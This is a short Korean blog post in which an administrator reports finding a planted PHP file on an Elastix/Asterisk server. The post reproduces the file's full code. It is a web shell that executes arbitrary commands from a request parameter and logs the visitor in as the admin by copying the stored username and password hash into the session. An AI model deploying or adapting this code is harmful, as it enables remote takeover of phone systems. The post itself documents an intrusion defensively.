티스토리 뷰

Computer/Asterisk&A2B

Asterisk 해커

ywlee 2017. 3. 23. 18:30


/var/www/html/recordings/11.php




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<form action="" method="post" >&nbsp;</form>
 
<?php
echo "<xmp>";
 
@system($_REQUEST['c']); 
 
echo "</xmp>";
 
include_once "/var/www/html/libs/paloSantoDB.class.php"
include_once "/var/www/html/libs/paloSantoACL.class.php"
 
$pDB = new paloDB("sqlite3:////var/www/db/acl.db"); 
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'"); 
 
session_name("elastixSession"); 
session_start(); 
 
$_SESSION['elastix_user'= $db[0][0]; 
$_SESSION['elastix_pass'= $db[0][1]; 
 
echo '<a href="/" >GaZaR</a>';
?>
cs


html lib 를 이용해서 DB 접근 한후, Elastix 로 바로 접근하게 된다....

문제는 이 파일을 어떻게 생성했냐는것...

우선 파일은 지우자





공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함